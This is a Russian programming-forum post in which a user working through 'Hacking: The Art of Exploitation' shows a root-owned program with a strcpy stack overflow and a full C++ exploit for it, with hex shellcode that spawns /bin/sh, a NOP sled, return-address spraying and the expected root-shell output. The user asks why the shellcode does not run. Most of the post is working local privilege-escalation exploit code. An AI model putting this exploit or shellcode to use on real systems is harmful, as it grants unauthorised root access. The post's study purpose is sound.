Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

Хакинг. Искусство эксплойта - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Перегрузка оператора "+" http://www.cyberforum.ru/cpp-beginners/thread817676.html
Доброго времени суток! Задание звучит так: Написать класс для работы с длинными числами. Создается два экземпляра класса, после перегружается оператор "+" для вычисления суммы между этими двумя...
C++ Прямоугольный пирог, разрезанный на m×n частей (как сделать, чтобы удалялся столбец и строка при выборе клетки?) Имеется прямоугольный пирог, разрезанный на m×n частей (клеток), причем, левая нижняя клетка пирога отравлена. Игроки по очереди выбирают какую-нибудь клетку пирога и «съедают» ее вместе со всеми... http://www.cyberforum.ru/cpp-beginners/thread817674.html
Создать динамический массив. ввод,вывод и обработку элементов массива реализовать через функции C++
создать динамический массив. ввод,вывод и обработку элементов массива реализовать через функции
C++ Корректность ввода размера массива
Помогите написать код на c++ Условие: Напишите программу проверяя корректность ввода размера массива. Проверьте работу программы на контрольном примере. Дан массив, содержащий m строк и n столбцов....
C++ Двумерные массивы с подпрограммами (Постройте вектор, каждый элемент которого содержит наименьший за абсолютной величиной элемент строки) http://www.cyberforum.ru/cpp-beginners/thread817661.html
Помогите решить прогу на С++ с заданным условием : Используя подпрограммы составить алгоритм и программу обработки двумерного массива: Пусть данна матрица А (n x n). Постройте вектор, каждый...
C++ Обработка символьной информации (Вывести на экран начальные данные и присутствующие среди них произведения) Добрый вечер! В каждой из 10 строчных переменных находятся название художественного произведения и фамилия автора.Вывести на экран начальные данные и присудствующие среди них произведения... подробнее

Показать сообщение отдельно
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 01:31  [ТС]
Всем спасибо за бурное обсуждение в моей темы)) А вот и собственно сами вопросы:
Иммется уязвия программа с правми рут.
C++
1
2
3
4
5
6
7
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
(Уязвимость ее в том, что она принимает один аргумент и пытается поместить его данные, какие бы они не были в буффер размером 500 байт)

Ниже показан код эксплойта, который создает буфер и передает его уязвимой программе в надежде заставить ее выполнить внедренный в буфер шелкод, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно 0. Выделяется память для буфера (в куче), и весь он заполняется адресом возврата. Зателм первые 200 байт буфера заполняются NOP-цепочкой. После NOP-цепочки помещается шелкод, а в оставщийся части буфера сохраняется записанный адрес возврата. Наконец еще одна функция запускает уязвимую программу и передает ей специально сконструированный буфер.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
using namespace std;
 
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
 
unsigned long sp(void)                   // Эта маленькая функция
{ __asm__("movl %esp, %eax");}   // возвращает указатель на стек
 
int main(int argc, char *argv[]){
 
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
 
offset = 0;           // Задать смещение 0
esp = sp();          // Поместить текущий указатель стека в esp
ret = esp - offset; // Мы хотим перепесать адрес возврата
 
printf("Stack pointer (ESP) : 0x%x\n", static_cast<int>(esp));
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired return Addr : 0x%x\n", static_cast<int>(ret));
 
buffer = static_cast<char*>(malloc(600)); // Выделить для буфера 600 байт (в куче)
//buffer = malloc(600);
 
// Заполнить весь буфер нужным адресом возврата
ptr=buffer;
addr_ptr=(long *) ptr;
for(i=0; i<600; i+=4)
{ *(addr_ptr++)=ret;}
 
// Заполнить первые 200 байт буфера командами NOP
for(i=0; i<200; i++)
{buffer[i]='\x90';}
 
// Поместить шелкод после NOP-цепочки
ptr=buffer + 200;
for(i=0; i<strlen(shellcode); i++)
{ *(ptr++)=shellcode[i];}
 
// Завершить строку
buffer[600-1]=0;
 
// Вызываем программу и передаем в качестве аргумента построенный буфер
execl("./vuln", "vuln", buffer, NULL);
free(buffer);
return 0;
}
Так должен выглядеть результат выполнения программы:

Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2. 05a# whoami
root
sh-2. 05a# [


Текстовые строки у меня выводит, адресс возврата переписывается, но не запускается сам шелкод. Программа была переписанна с С на С++ и компилятор стал ругаться на строку
C++
1
buffer = malloc(600);
Не может преобразовать из *viod в *char. Пришлось сделать это явным образом как видно в строке 30. МОжет ли быть ошибка в этом? Если нет тогда в чем? очень сильно прошу в помочь разобраться..

P.S.: Предлогаю перенести тему из раздела C++ для новичков, на книге стоит пометка Уровень подготовки читателей: Высокий. Да и новичкам потом кошмары сниться будут))))
0
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru